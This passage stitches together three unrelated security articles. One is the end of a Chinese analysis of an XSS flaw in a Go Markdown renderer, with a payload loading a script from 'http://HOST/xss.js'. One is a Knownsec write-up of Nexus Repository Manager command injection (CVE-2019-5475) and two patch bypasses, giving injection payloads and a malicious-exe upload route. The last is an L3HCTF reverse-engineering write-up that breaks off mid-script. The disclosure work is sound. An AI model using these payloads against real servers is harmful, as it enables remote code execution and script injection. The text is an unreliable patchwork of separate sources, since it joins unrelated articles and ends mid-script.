大部分人一眼看过来，发现有 `html.EscapeString` 方法进行过滤，可能就跟笔者一开始一样，认为这里一定没什么问题。其实不然，我们可以采用
`v0.0.0-20210514010506-3b9f47219fe7`，也就是笔者提交 issue 之前的最新版本来试一下，看结果会怎样。
可以发现我们原本使用 `html.EscapeString` 进行转义的字符不受影响地出现在了结果中，从而导致了 script 标签被单独完整地渲染到
HTML，从而引入了一个外部 js 文件。更进一步的说，为 XSS 提供了完美的条件。
## 漏洞分析
使用上述给出的代码进行调试，先看一个调用栈。
从 ToHTML 方法进来之后直接到 `doc := Parse(markdown, p)`，从而进入了 Parse 这个方法。
然后就是调用到 block 方法对输入的 Markdown 字符串进行分块的处理。在逐一判断到代码块后进入了 fencedCodeBlock 方法。
在其中将代码块的内容分解填入对象之后，会进入 finalizeCodeBlock 进行一个收尾工作。
跟进去之后可以发现这个方法是这样的。
func finalizeCodeBlock(code *ast.CodeBlock) {
c := code.Content
if code.IsFenced {
newlinePos := bytes.IndexByte(c, '\n')
firstLine := c[:newlinePos]
rest := c[newlinePos+1:]
code.Info = unescapeString(bytes.Trim(firstLine, "\n"))
code.Literal = rest
} else {
code.Literal = c
}
code.Content = nil
}
`code.Info` 的内容被 unescapeString 处理了一次，也就是最后得到意外结果的问题根源。接着往后跟踪，可以发现处理后的内容被放进对象
p 后直接利用语法树完成了渲染，最终得到 HTML 字符串，而被解码后的内容并没有被二次转义。
因此，最后得到的字符串就出现了上文的问题。
## 漏洞的修复
由于漏洞的产生是因为解码后没有再次编码，因此可以将其使用 `html.EscapeString` 重新处理一次，将原有的语句做如下替换。
- code.Info = unescapeString(bytes.Trim(firstLine, "\n"))
+ code.Info = []byte(html.EscapeString(string(unescapeString(bytes.Trim(firstLine, "\n")))))
此时再重新运行一次文章开始时给出的代码，可以得到如下结果。
<pre><code class="language-"1;><script/src="http://HOST/xss.js"></script>">
</code></pre>
可以发现由于再次进行了 HTML 实体转义，script 标签没有被独立渲染，从而避免了 XSS 的产生。 | 社区文章 |
**Author: Badcode and Longofo@Knownsec 404 Team**
**Date: 2020/02/09**
**Chinese Version:<https://paper.seebug.org/1260/>**
### Foreword
At the beginning of September 2019, we responded to the Nexus Repository
Manager 2.x command injection vulnerability (CVE-2019-5475). The general
reason and steps for recurrence are on
[Hackerone](https://hackerone.com/reports/654888). It was announced that after
emergency response to this vulnerability, we analyzed the patch to fix the
vulnerability and found that the repair was incomplete and could still be
bypassed. This article records two bypasses of the vulnerability. Although the
fix version was released twice early, the official second update announcement
is too slow [https://support.sonatype.com/hc/en-us/articles/360033490774](https://support.sonatype.com /hc/en-us/articles/360033490774), so now we post this article.
The timeline：
* CVE-2019-5475（2019-08-09）
* Bypassed for the first time, CVE-2019-15588 (2019-10-28)
* Bypassed for the second time, CVE was not assigned, and the bulletin impact version was updated (2020-3-25)
**Note:** The original vulnerability analysis, the first bypass analysis, and
the second bypass analysis were mainly written by Badcode, the second bypass
analysis+, and the latest version analysis was mainly added by Longofo.
### Original vulnerability analysis
#### Conditions of use
* Requires administrator rights (default authentication: admin/admin123)
#### Vulnerability analysis
The code analyzed below is based on version 2.14.9-01.
The vulnerability is in the Yum Repository plugin, when configuring Yum's
`createrepo` or `mergerepo`
The code level will jump
to`YumCapabilit`[`activationCondition`](https://github.com/sonatype/nexus-public/blob/release-2.14.9-01/plugins/yum/nexus-yum-repository-plugin/src/main/java/org/sonatype/nexus/yum/internal/capabilities/YumCapability.java#L82)method:
The value set in `Path of "createrepo"` above will be obtained through
`getConfig().getCreaterepoPath()`. After obtaining this value, call the
`this.validate()` method on `Path of "createrepo"`. The value set in will be
obtained through `getConfig().getCreaterepoPath()`. After obtaining this
value, call the `this.validate()` method
The `path` passed in is user-controllable, and then the `path` splicing
`--version` is then passed to the `commandLineExecutor.exec()` method, which
looks like a method of executing commands, and this is also the case. Follow
up the `exec` method of the `CommandLineExecutor` class
Parse the command before executing the command. `CommandLine.parse()` will use
spaces as separators to obtain executable files and parameters. Eventually,
the call to `Runtime.getRuntime().exec()` executed the command. For example,
the command passed by the user is `cmd.exe /c whoami`, and finally the method
to `getRuntime().exec()` is `Runtime.getRuntime().exec({"cmd.exe","/c"
,"whoami"})`. So the principle of the vulnerability is also very simple, that
is, when the `createrepo` or `mergerepo` path is set, the path can be
specified by the user, the `--version` string is spliced halfway, and finally
it is executed at `getRuntime.exec()` Order.
#### Vulnerability reproduction
Pass the payload in `Path of "createrepo"`.
You can see the execution result in the `Status` column
### Bypass analysis for the first time
#### First patch analysis
The official patch has changed a few places, the key point is
[here](https://github.com/sonatype/nexus-public/commit/e8769e53f6bb601126ef5d21f9ea009873b65e25#diff-4ab0523de106ac7a38808f0231fc8a23R81)
It is common practice to filter commands before executing them. A new
`getCleanCommand()` method has been added to filter commands.
`allowedExecutables` is a HashSet with only two values, `createrepo` and
`mergerepo`. First determine whether the `command` passed in by the user is in
`allowedExecutables`, if so, directly splice `params` ie `--version` and
return directly. Then determine the path of the `command` passed in by the
user. If it starts with the working directory of nexus
(`applicationDirectories.getWorkDirectory().getAbsolutePath()`), return null
directly. Continue to judge, if the file name is not in `allowedExecutables`
then return null, that is, this command needs to end with `/createrepo` or
`/mergerepo`. After passing the judgment, the absolute path of the file is
concatenated and returned by `--version`.
#### First patch bypass
To be honest, at the first glance at this patch, I felt that there was a high
probability that it would be around.
The incoming command only needs to meet two conditions, not beginning with
nexus' working directory, and ending with `/createrepo` or `/mergerepo`.
Seeing the `getCleanCommand()` method in the patch, `new File(command)` is the
key, and `new File()` is to create a new File instance by converting the given
pathname string into an abstract pathname. It is worth noting that spaces can
be used in the path string, which is
String f = "/etc/passwd /shadow";
File file = new File(f);
This is legal, and the value obtained by calling `file.getName()` is `shadow`.
Combined with this feature, you can bypass the judgment in the patch.
String cmd = "/bin/bash -c whoami /createrepo";
File file = new File(cmd);
System.out.println(file.getName());
System.out.println(file.getAbsolutePath());
operation result
It can be seen that the value of `file.getName()` is exactly `createrepo`,
which satisfies the judgment.
#### Bypassing the test for the first time
##### Test environment
* 2.14.14-01 version
* Linux
##### Test procedure
Pass the payload in `Path of "createrepo"`.
Check the execution result in the `Status` column
As you can see, the patch was successfully bypassed.
Under the Windows environment, it is a little troublesome. There is no way to
execute commands in the form of `cmd.exe /c whoami`, because `cmd.exe /c
whoami` becomes `cmd.exe \c whoami` after `new File()` , which cannot be
executed later. You can directly execute the exe. Note that `--version` will
also be spliced later, so many commands cannot be executed, but there is still
a way to make use of the ability to execute any exe to carry out subsequent
attacks.
### Second bypass analysis
#### Second patch analysis
After I submitted the above bypass method, the official fixed this bypass
method, see the official [patch](https://github.com/sonatype/nexus-public/commit/3dd1d59393149833150b702ddf6485b5ef3312bd#diff-4ab0523de106ac7a38808f0231fc8a23R111)
Added a `file.exists()` method in the `getCleanCommand()` method to determine
whether the file exists. The previous form of `/bin/bash -c whoami
/createrepo` would definitely not work, because this file does not exist. So
now there is another judgment, and the difficulty has increased. Is there no
way to bypass it? No, it can still be bypassed.
#### Second patch bypass
Now the incoming command has to meet three conditions
* Does not start with nexus' working directory
* End with `/createrepo` or `/mergerepo`
* And this file `createrepo` or `mergerepo` exists
Seeing `file.exists()`, I remembered `file_exists()` in php. I also
encountered this kind of judgment when I was doing php before. There is a
system feature. In the Windows environment, directory jumps are allowed to
jump to non-existing directories, while under Linux, you cannot jump to non-existing directories.
have a test
Linux
As you can see, `file.exists()` returned false
Windows
`file.exists()` returned true
Above we said `new File(pathname)`, pathname is allowed with spaces. Using the
features of the above WIndows environment, set cmd to
`C:\\Windows\\System32\\calc.exe \\..\\..\\win.ini`
After the `parse()` method, finally
`getRuntime.exec({"C:\\Windows\\System32\\calc.exe","\\..\\..\\win.ini"})` ,
So that you can execute `calc`.
In the above test, "win.ini" is a file that does exist. Returning to the
patch, you need to determine whether `createrepo` or `mergerepo` exists. First
of all, from a functional point of view, the createrepo command is used to
create a yum source (software repository), that is, to index many rpm packages
stored in a specific local location, describe the dependency information
required by each package, and form metadata. That is, this `createrepo` is
unlikely to exist under Windows. If this does not exist, there is no way to
judge. Since `createrepo` does not exist on the server, I will try to create
one. I first tried to find an upload point and tried to upload a `createrepo`,
but I didn't find a point where the name would remain unchanged after
uploading. After uploading at `Artifacts Upload`, it becomes the name of the
form `Artifact-Version.Packaging`. `Artifact-Version.Packaging` does not
satisfy the second judgment and ends with `createrepo`.
At the beginning, when I saw `file.exists()`, I entered the mindset, thinking
that it was judged that the file exists, but after reading the official
documentation, I found that the file or directory exists. This is the second
key point caused by this vulnerability. I can't create files, but I can create
folders. When uploading Artifacts in `Artifacts Upload`, it can be defined by
`GAV Parameters`.
When `Group` is set to `test123`, `Artifact` is set to `test123`, and
`Version` is set to `1`, when uploading `Artifacts`, the corresponding
directory will be created in the server. The corresponding structure is as
follows
If we set `Group` to `createrepo`, then the corresponding `createrepo`
directory will be created.
Combine two features to test
String cmd = "C:\\Windows\\System32\\calc.exe \\..\\..\\..\\nexus\\sonatype-work\\nexus\\storage\\thirdparty\\createrepo";
File file = new File(cmd);
System.out.println(file.exists());
System.out.println(file.getName());
System.out.println(file.getAbsolutePath());
As you can see, `file.exists()` returned true, and `file.getName()` returned
`createrepo`, both of which met the judgment.
Finally, in `getRuntime()`, it is probably
`getRuntime.exec({"C:\Windows\System32\notepad.exe","\..\..\..\nexus\sonatype-work\nexus\storage\thirdparty\createrepo","--version"})`
Can successfully execute `notepad.exe`. (The calc.exe demo cannot see the
process, so replace it with Notepad.exe)
#### Second bypass test
##### Test environment
* 2.14.15-01 version
* Windows
##### Test procedure
Pass the payload in `Path of "createrepo"`.
View the process, `notepad.exe` started
As you can see, the patch was successfully bypassed.
### Second bypass analysis+
After the second bypass analysis by @Badcode, you can see that you can
successfully execute commands on the Windows system. But there is a big
limitation:
1. nexus needs to be installed on the system disk
2. Some commands with parameters cannot be used
The above-mentioned "Artifacts Upload" upload location can upload any file,
and the uploaded file name is obtained by splicing with custom parameters, so
you can guess. Then you can upload any exe file you wrote.
#### Second bypass analysis + test
##### Test environment
* 2.14.15-01 version
* Windows
##### Test procedure
Navigate to `Views/Repositories->Repositories->3rd party->Configuration`, we
can see the absolute path of `default local storage location` (the content
uploaded later is also in this directory):
Navigate to `Views/Repositories->Repositories->3rd party->Artifact Upload`, we
can upload malicious exe files:
The exe file will be renamed to `createrepo-1.exe` (spliced by custom
parameters):
Also pass the payload into `Path of "createrepo"` (at this time, please note
that the previous part starts with the nexus installation directory, which
will be judged in the patch, so you can add `..\` at the top level or Get a
false layer `aaa\..\` etc.):
You can see that createrepo-1.exe has been executed:
### Latest version analysis
#### Latest version patch analysis
After the second patch was bypassed, the official fixed it again. The official
[patch](https://gitlab.intra.knownsec.com/assets/illustrations/error-404-4ac0f2ed92ff27c0f80853181c4dceb1858dac25d9e744d6594f067d60a45b48.svg)
is as follows:
Removed the previous repair method and added the
`YumCapabilityUpdateValidator` class. In `validate`, the obtained value and
the value set in the properties are verified using absolutes for equal
equality. This value can only be modified through `sonatype-work/nexus/conf/capabilities.xml`:
#### Latest version verification
The front end is directly prohibited from modification, and the test is
modified by capturing packets:
In `YumCapabilityUpdateValidator.validate` breaks to:
It can be seen that this repair method can no longer be bypassed, unless the
configuration file is overwritten by the file coverage, such as decompression
and overwriting, but I was not found.
However, the place where Artifacts Upload can upload arbitrary files is still
there. If the above situation appears in other places, it can still be used.
* * * | 社区文章 |
# L3HCTF 2021 RE 部分 Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
和 Nebula 的队员们一起参加了这次的 L3HCTF ，最后排名第7，很不错的成绩。记录一下我做的 re 。
比赛官网：<https://l3hctf.xctf.org.cn>
比赛时间：2021-11-13 09:00:00 到 2021-11-15 09:00:00
## reverse
### IDAAAAAA
没给程序，给了一个ida的i64文件，直接拖入ida。
正常流程分析下来，是输入三个整数，判断5个等式，但是无法同时满足，应该是程序将判断流程隐藏了，但是程序中找不到修改代码段的行为。
看反汇编窗口，发现`main`函数有一个断点，打开断点列表（ida开始卡了），发现condition里有东西，复制condition到文本编辑器（文本编辑器开始卡了），是一个很大的idapython脚本。
ida下断点在`0x40201F`，当执行到这条cmp时就触发断点，执行上面的脚本，在另一个位置下断点，获得断点信息，并修改断点添加condition为idapython脚本，之后修改`[rsp]`和`rip`的值使程序转到设置的断点，触发断点执行脚本，并根据输入的`input[i]`确定需要解密的`index`和`key`，使用`sub_401DB5`（维吉尼亚）解密，并且修改`[rsp]`设置返回地址，并在返回地址设置断点，解密完成后返回时触发断点，继续执行脚本，解密出来的数据将会作为下一个断点的脚本，而这个脚本又会重复上面的过程。
这样可知，原程序并不能判断flag，真正控制执行流程的是idapython脚本。
尝试了很久，除了第一个断点的脚本，几乎每个脚本解密出来都是这样的形式：
NyPGpw = idaapi.get_byte(5127584 + N4QKUt)
NyPGpw -= ord('a')
if NyPGpw == 0:
afvkwL = 667
hsYnNw = b'vjHiPd4bBuf'
elif NyPGpw == 1:
afvkwL = 667
hsYnNw = b'vjHiPd4bBuf'
elif NyPGpw == 2:
afvkwL = 667
hsYnNw = b'vjHiPd4bBuf'
else:
afvkwL = -1
if afvkwL < 0:
# ...
else:
# …
# ...
每个`if/elif`内部赋了两个值，第一个数值是需要解密的下一个脚本的序号`index`，第二个bytes是解密的密钥`key`；下面的`if`判断，如果序号为负，就直接结束；`else`块会解密出一个脚本，继续重复上述流程。
初始的断点脚本中间也有这样的`if/elif`结构，将if块的数据提取出来得：
[287, b'lqAT7pNI3BX']
[96, b'z3Uhis74aPq']
[8, b'9tjseMGBHR5']
[777, b'FhnvgMQjexH']
[496, b'SKnZ51f9WsE']
[822, b'gDJy104BSHW']
[914, b'PbRV4rSM7fd']
[550, b'WHPnoMTsbx3']
[273, b'mLx5hvlqufG']
[259, b'QvKgNmUFTnW']
[334, b'TCrHaitRfY1']
[966, b'm26IAvjq1zC']
[331, b'dQb2ufTZwLX']
[680, b'Y6Sr7znOeHL']
[374, b'hLFj1wl5A0U']
[717, b'H6W03R7TLFe']
[965, b'fphoJwDKsTv']
[952, b'CMF1Vk7NH4O']
[222, b'43PSbAlgLqj']
观察发现，每个解密的key长度都为11，而且解密出的第一行除了起始的变量名（变量名长度也都是6），后面是完全相同的，所以可以直接异或得到key：
keys = []
dec = 'NyPGpw = idaapi.get_byte(5127584 + N4QKUt)'[11: ]
for i in encs: # BIG bytes array, encrypted scripts, length 1000
enc = i.decode()[11: ]
t = ''
for a, b in zip(enc, dec):
t += chr(ord(a) ^ ord(b))
if not t[11: ].startswith(t[: 11]):
keys.append(None)
else:
keys.append(t[:11])
得到`keys`后，发现`keys.count(None) == 1`，再结合ida中最后flag的格式：
输入有最短，那么这应该是一个图问题，找最短路径，每个解密出来的脚本的`if/elif`块即为判断是否存在这条边，存在则进入下一节点。只有一个节点没有这个块，应该是图的终点。
于是编写脚本：
#!/usr/bin/python3
import networkx as nx
from hashlib import md5
encs = [
# BIG bytes array, encrypted scripts, length 1000
]
def veg_xor_crypt(src, key):
dec = b''
for i in range(len(src)):
dec += chr(src[i] ^ key[i % len(key)]).encode()
return dec.decode()
def parse_graph(script):
i_name = 'N4QKUt'
var_name = script[: script.index(' ')]
lines = script.splitlines()
if lines[0] == var_name + ' = idaapi.get_byte(5127584 + ' + i_name + ')':
if lines[1] == var_name + ' -= ord(\'a\')':
if lines[2] == 'if ' + var_name + ' == 0:':
# enc = [[int(lines[3][lines[3].index('=') + 2: ]), lines[4][lines[4].index('=') + 2:][2: -1].encode()]]
enc = [int(lines[3][lines[3].index('=') + 2: ])]
i = 5
while lines[i].startswith('elif ' + var_name + ' == '):
assert(int(lines[i][lines[i].index('==') + 3: -1]) == (i - 2) // 3)
enc.append(int(lines[i + 1][lines[i + 1].index('=') + 2: ]))
i += 3
assert(lines[i] == 'else:')
return enc
print("parse error: ")
print(script)
return None
keys = []
edges = []
dec = 'NyPGpw = idaapi.get_byte(5127584 + N4QKUt)'[11: ]
for i in encs:
enc = i.decode()[11: ]
t = ''
for a, b in zip(enc, dec):
t += chr(ord(a) ^ ord(b))
if not t[11: ].startswith(t[: 11]):
keys.append(None)
edges.append([])
else:
keys.append(t[:11])
edges.append(parse_graph(veg_xor_crypt(i, keys[-1].encode())))
assert(keys[8] == '9tjseMGBHR5')
assert(keys.count(None) == 1) # destination
dst_node = keys.index(None)
src_node = -1
src_edges = [287, 96, 8, 777, 496, 822, 914, 550, 273, 259, 334, 966, 331, 680, 374, 717, 965, 952, 222]
G = nx.DiGraph()
G.add_node(-1)
for i in range(len(encs)):
G.add_node(i)
for i in src_edges:
G.add_edge(-1, i)
for i in range(len(edges)):
for j in edges[i]:
G.add_edge(i, j)
path = nx.shortest_path(G, source = src_node, target = dst_node)
print(path)
s = chr(ord('a') + src_edges.index(path[1]))
for i in range(2, len(path)):
s += chr(ord('a') + edges[path[i - 1]].index(path[i]))
print(s)
print('L3HCTF{%s}' % md5(s.encode()).hexdigest())
执行结果：
[-1, 331, 578, 255, 875, 765, 687, 209, 119, 963, 939, 443, 250, 366, 65, 504, 920, 849, 720, 893, 728, 580, 114, 665, 72, 51, 241, 519, 473, 970, 984, 557, 90, 793, 487, 67, 428, 236, 263, 24, 39, 104, 505, 491, 95, 223, 486, 798, 873, 872, 64, 229, 37, 274, 329, 601, 372, 750, 446, 3, 332, 698, 277, 740, 816, 845, 570, 828, 21, 36, 839, 770, 343, 451, 151, 994, 937, 760, 644, 9, 614, 302, 454, 153, 840, 76, 424, 352, 950, 238, 613, 497, 898, 858, 415, 205, 393, 927, 522, 705, 426]
mcaebacedaabfacacabgagbbaaeacabcbacebagaaabcdbgbdbcbdacgabfbbebababbbbbcaabdababafaccacdagdaababaaaa
L3HCTF{6584ed9fd9497981117f22a6c572caee}
### double-joy
主函数里初始化了两个`vm`，添加到一个`deque`中，然后执行第一个，当返回值为1时将刚执行的`vm`再加到`deque`末尾，返回值为0时不再添加，并重复上面的过程。所以是两个`vm`交替执行。
`sub_1D90`即为`vm`执行程序，将`switch`结构恢复出来，写idc脚本反汇编：
static disasm(addr) {
auto ins;
auto pc = 0;
auto tmp0, tmp1, tmp2, tmp3;
Message("Disasm 0x%x:\n", addr);
while (1) {
/*
origin stack after operation
top:
num1 ===> top:
num2 num1 op num2
... ...
/**/
ins = Byte(addr + pc);
if (ins == 0) {
Message("0x%04X: add\n", pc);
pc++;
} else if (ins == 1) {
Message("0x%04X: sub\n", pc);
pc++;
} else if (ins == 2) {
Message("0x%04X: mul\n", pc);
pc++;
} else if (ins == 3) {
Message("0x%04X: div\n", pc);
pc++;
} else if (ins == 4) {
Message("0x%04X: mod\n", pc);
pc++;
} else if (ins == 5) {
Message("0x%04X: and\n", pc);
pc++;
} else if (ins == 6) {
Message("0x%04X: or\n", pc);
pc++;
} else if (ins == 7) {
Message("0x%04X: xor\n", pc);
pc++;
} else if (ins == 8) {
Message("0x%04X: store\n", pc);
pc++;
} else if (ins == 9) {
Message("0x%04X: load\n", pc);
pc++;
} else if (ins == 10) {
Message("0x%04X: neq\n", pc);
pc++;
} else if (ins == 11) {
Message("0x%04X: lt\n", pc);
pc++;
} else if (ins == 12) {
Message("0x%04X: exch\n", pc);
pc++;
} else if (ins == 13) {
Message("0x%04X: pop\n", pc);
pc++;
} else if (ins == 14) {
Message("0x%04X: push 0x%x\n", pc, Dword(addr + pc + 1));
pc = pc + 5;
} else if (ins == 15) {
Message("0x%04X: jmp 0x%04X\n", pc, (pc + 5 + Dword(addr + pc + 1)) & 0xffffffff);
pc = pc + 5;
} else if (ins == 16) {
Message("0x%04X: jnz 0x%04X\n", pc, (pc + 5 + Dword(addr + pc + 1)) & 0xffffffff);
pc = pc + 5;
} else if (ins == 17) {
Message("0x%04X: int %d\n", pc, Dword(addr + pc + 1));
pc = pc + 5;
} else if (ins == 18) {
Message("0x%04X: ret %d\n", pc, Dword(addr + pc + 1));
pc = pc + 5;
if (Dword(addr + pc + 1) == 0) return ;
}
}
}
static main() {
disasm(0x5280);
disasm(0x5020);
Message("All done!\n");
}
然后读汇编，恢复出C程序：
#define CONTINUE 1
#define FINISH 0
int func1(int* buffer) {
// unsigned int buffer[10]; // stack[0] ~ stack[9]
int delta; // stack[0xa]
int sum; // stack[0xb]
int v0; // stack[0xc]
int v1; // stack[0xd]
int k[4]; // stack[0xe] ~ stack[0x11]
// stack[0x12] = 0; // ??
int i; // stack[0x13]
int j; // stack[0x14]
// unsigned int stack[21];
delta = 0x75bcd15;
sum = 0x3ade68b1;
for (i = 0; i < 10; i++) {
buffer[i] ^= ((i + 1) * 0x01010101);
}
k[0x0] = 0x494c;
k[0x1] = 0x6f76;
k[0x2] = 0x6520;
k[0x3] = 0x4355;
for (i = 0; i < 10; i += 2) {
for (j = 0; j < 20; j++) {
v0 = buffer[i];
v1 = buffer[i + 1];
v0 += (((v1 * 16) ^ (v1 / 32) + v1) ^ (sum + k[sum & 3]));
sum += delta;
v1 += (((v0 * 16) ^ (v0 / 32)) + v0) ^ (sum + k[(sum / 0x800) & 3]);
buffer[i] = v0;
buffer[i + 1] = v1;
return CONTINUE;
}
}
return FINISH;
}
int func2(int* buffer) {
// int buffer[10]; // stack[0] ~ stack[9]
int delta; // stack[0xa]
int sum; // stack[0xb]
int v0; // stack[0xc]
int v1; // stack[0xd]
int k[4]; // stack[0xe] ~ stack[0x11]
// stack[0x12] = 0; // ??
int i; // stack[0x13]
int j; // stack[0x14]
delta = 0x154cbf7;
sum = 0x5eeddead;
for (i = 0; i < 10; i++) {
buffer[i] ^= ((i + 1) * 0x01010101);
}
for (i = 0; i < 10; i += 2) {
for (j = 0; j < 20; j++) {
v0 = buffer[i];
v1 = buffer[i + 1];
sum += delta;
v0 += (v1 * 16 + k[0]) ^ (v1 + sum) ^ (v1 / 32 + k[1]);
v1 += (v0 * 16 + k[2]) ^ (v0 + sum) ^ (v0 / 32 + k[3]);
buffer[i] = v0;
buffer[i + 1] = v1;
return CONTINUE;
}
}
return FINISH;
}
发现是xtea和tea，编写逆向程序：
#include <stdio.h>
int main() {
int buffer[11] = {
0xAEE0FAE8, 0xFC3E4101, 0x167CAD92, 0x51EA6CBE,
0x242A0100, 0x01511A1B, 0x514D6694, 0x2F5FBFEB,
0x46D36398, 0x79EEE3F0, 0
};
int delta_1 = 0x75bcd15, delta_2 = 0x154cbf7;
int sum_1 = 0x3ade68b1, sum_2 = 0x5eeddead;
int v0;
int v1;
int k_1[4] = {0x494c, 0x6f76, 0x6520, 0x4355};
int k_2[4] = {0x5354, 0x4f4d, 0x2074, 0x6561};
int i;
int j;
// init
for (i = 0; i < 10; i += 2) {
for (j = 0; j < 20; j++) {
sum_1 += delta_1;
sum_2 += delta_2;
}
}
// func1 and func2
for (i = 8; i >= 2; i -= 2) {
for (j = 0; j < 20; j++) {
v0 = buffer[i];
v1 = buffer[i + 1];
v1 -= (v0 * 16 + k_2[2]) ^ (v0 + sum_2) ^ (v0 / 32 + k_2[3]);
v0 -= (v1 * 16 + k_2[0]) ^ (v1 + sum_2) ^ (v1 / 32 + k_2[1]);
sum_2 -= delta_2;
buffer[i] = v0;
buffer[i + 1] = v1;
v0 = buffer[i];
v1 = buffer[i + 1];
v1 -= (((v0 * 16) ^ (v0 / 32)) + v0) ^ (sum_1 + k_1[(sum_1 / 0x800) & 3]);
sum_1 -= delta_1;
v0 -= (((v1 * 16) ^ (v1 / 32)) + v1) ^ (sum_1 + k_1[sum_1 & 3]);
buffer[i] = v0;
buffer[i + 1] = v1;
}
}
i = 0;
// func1 and func2
for (j = 1; j < 20; j++) {
v0 = buffer[i];
v1 = buffer[i + 1];
v1 -= (v0 * 16 + k_2[2]) ^ (v0 + sum_2) ^ (v0 / 32 + k_2[3]);
v0 -= (v1 * 16 + k_2[0]) ^ (v1 + sum_2) ^ (v1 / 32 + k_2[1]);
sum_2 -= delta_2;
buffer[i] = v0;
buffer[i + 1] = v1;
v0 = buffer[i];
v1 = buffer[i + 1];
v1 -= (((v0 * 16) ^ (v0 / 32)) + v0) ^ (sum_1 + k_1[(sum_1 / 0x800) & 3]);
sum_1 -= delta_1;
v0 -= (((v1 * 16) ^ (v1 / 32)) + v1) ^ (sum_1 + k_1[sum_1 & 3]);
buffer[i] = v0;
buffer[i + 1] = v1;
}
// func2
v0 = buffer[0];
v1 = buffer[1];
v1 -= (v0 * 16 + k_2[2]) ^ (v0 + sum_2) ^ (v0 / 32 + k_2[3]);
v0 -= (v1 * 16 + k_2[0]) ^ (v1 + sum_2) ^ (v1 / 32 + k_2[1]);
sum_2 -= delta_2;
buffer[0] = v0;
buffer[1] = v1;
for (i = 0; i < 10; i++) {
buffer[i] ^= ((i + 1) * 0x01010101);
}
// func1
v0 = buffer[0];
v1 = buffer[1];
v1 -= (((v0 * 16) ^ (v0 / 32)) + v0) ^ (sum_1 + k_1[(sum_1 / 0x800) & 3]);
sum_1 -= delta_1;
v0 -= (((v1 * 16) ^ (v1 / 32)) + v1) ^ (sum_1 + k_1[sum_1 & 3]);
buffer[0] = v0;
buffer[1] = v1;
for (i = 0; i < 10; i++) {
buffer[i] ^= ((i + 1) * 0x01010101);
}
puts((char*) buffer);
}
得到flag：L3HCTF{D0uBle_vM_W1th_dOubIe_TEA}
### Load
拖入ida，`sub_401000`计算了一些值，与输入无关，然后输入被映射到名为`l3hsec`的
`MapViewOfFile`上，进入`sub_401290`，做了一些操作后判断一个值是否为0x4550，转为char[]为`PE\x00\x00`，正是exe文件的一个头，而`sub_4017F0`中将`byte_404020`数组解密，总共长度为10752，很大，很可疑，于是`x86dbg`动态调试，下断点在上面的比较位置，内存转到`byte_404020`，正是熟悉的`MZ...PE...`头，于是dump出来，在010中将MZ前面的所有字节去掉，拖入ida，判断逻辑有了。
先通过`MapViewOfFile`重新得到输入的flag，将flag{…}中间的字节提取，每两个16进制转为一个新的字节值（长度26 / 2 =
13），保存到一个长为9和另一个长为4的数组中，然后进入函数`sub_401370`变换，没完全分析这个函数，只认真看了调用的`sub_4012A0`函数，在草稿纸上画一下维度为2时的结果就可以知道这是`det`，求矩阵行列式的函数，`sub_401370`没仔细看了，跟`delta`相关的操作应该就是求逆了。
用软件求出目标矩阵的逆矩阵，再写脚本获得flag：
#!/usr/bin/python
part1 = [-8, 18, -9, 6, -13, 6, -1, 2, -1]
part2 = [13, -3, -30, 7]
flag = 'flag{'
for i in part1:
flag += '%02x' % (i & 0xff)
for i in part2:
flag += '%02x' % (i & 0xff)
print(flag + '}')
### luuuuua
真机下安装apk并运行，点按钮后会闪退。
题目说是`lua`脚本，在`assets`中查找，两个文件，一个`logo.jpg`，另一个`test.lua`，
`test.lua`中的判断只有base64，解码后提交不正确，显然`test.lua`跟本题无关。
`logo.jpg`拖入010，尾部有一些多余的数据，这可能是加密的脚本。`jadx`中搜索`logo.jpg`，除了`onCreate`中设置`ImageView`外，lua的解析部分也有一处：
调用了`getExternalFilesDir`函数，但是运行程序后到`/sdcard/Android/data/com.l3hsec.luuuuua/files`目录下查看并没有文件，猜测这就是运行时闪退的原因，尝试将文件复制到此目录，再运行，正常了。
`jadx`跟入`LdoFile`，调用了`native`函数`_LdoFile`，ida中打开`armeabi-v7a`下的
`libluajava.so`，找到`jni_LdoFile`，进入`sub_9BA4`，看到如下代码：
010中可以看到，jpg的有效大小刚好是0x3AFA1，那么后面的部分就是加密的lua脚本。
继续分析，`sub_9D80`读入了一个字节，判断该字节的值；`sub_9DFC`中执行解密：
解密方式就是异或`0x3C`，尝试发现第一个字节不用异或，只有后面的字节需要，这样得到文件头部：`\x1bLuaS`，`luac`脚本。尝试`luadec`反编译，失败，应该是改变了字节码的对应关系。
为了恢复出改变后的字节码与原字节码的对应关系，将一个编译好的`lua`可执行文件拖入ida（带符号信息，下载编译lua参考
<https://www.lua.org/download.html#building>
，改成5.3版本即可），找到`luaV_execute`函数；同时将apk中`x86-64`的`libluajava.so`拖入`ida`，通过字符串`'for'
limit must be a number`的交叉引用定位到`luaV_execute`函数，再在两个函数的switch块找对应的opcode。
这里找对应关系有一些小技巧，比如我先找出两个`switch`中的没有`if`判断的`case`块，各有5个，再比较这几个的代码，对应关系就容易找到；还有相同字符串常量出现的`case`块有对应关系；还有根据带符号的程序恢复出另一个程序的一些函数名，再在`luaV_execute`函数中找调用了相同函数的`case`块等等。
找了一些对应关系后就可以发现规律，再在解密出来的`luac`脚本中找到几个函数的位置，使用010 script修复opcode：
char table[47];
int i;
for (i = 0; i < 16; i++) table[i] = i + 13;
table[16] = 0;
for (i = 17; i < 34; i++) table[i] = i + 12;
table[34] = 0x3f;
for (i = 35; i < 47; i++) table[i] = i - 34;
int filesize = FileSize();
int poses[20] = {
0x0037, 0x02C1, 0x0392, 0x04E4,
0x0928, 0x0A7C, 0x10C0, 0x19EF,
0x1B15, 0x1CF8, 0x1DF8, 0x1F3E,
0x2200, 0x2419, 0x288A
};
int pos = 0x37;
int size;
int j;
char ins;
char type;
for (i = 0; i < 15; i++) {
pos = poses[i];
size = ReadInt(pos);
pos += 4;
Printf("Start patching codes at 0x%x, size: %d, stack size: %d.\n", pos, size, ReadByte(pos - 5));
for (j = 0; j < size; j++) {
ins = ReadByte(pos + 4 * j);
WriteByte(pos + 4 * j, table[ins & 0x3f] | (ins & 0xC0));
}
}
修复后就能使用`luadec`反编译了：
~/luadec/luadec/luadec ./test.luac > test.lua
得到lua脚本：
-- Decompiled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec
-- Command line: ./sth.luac
-- params : ...
-- function num : 0 , upvalues : _ENV
local base64 = {}
if _G.bit32 then
local extract = (_G.bit32).extract
end
if not extract then
if _G.bit then
local shl, shr, band = (_G.bit).lshift, (_G.bit).rshift, (_G.bit).band
do
extract = function(v, from, width)
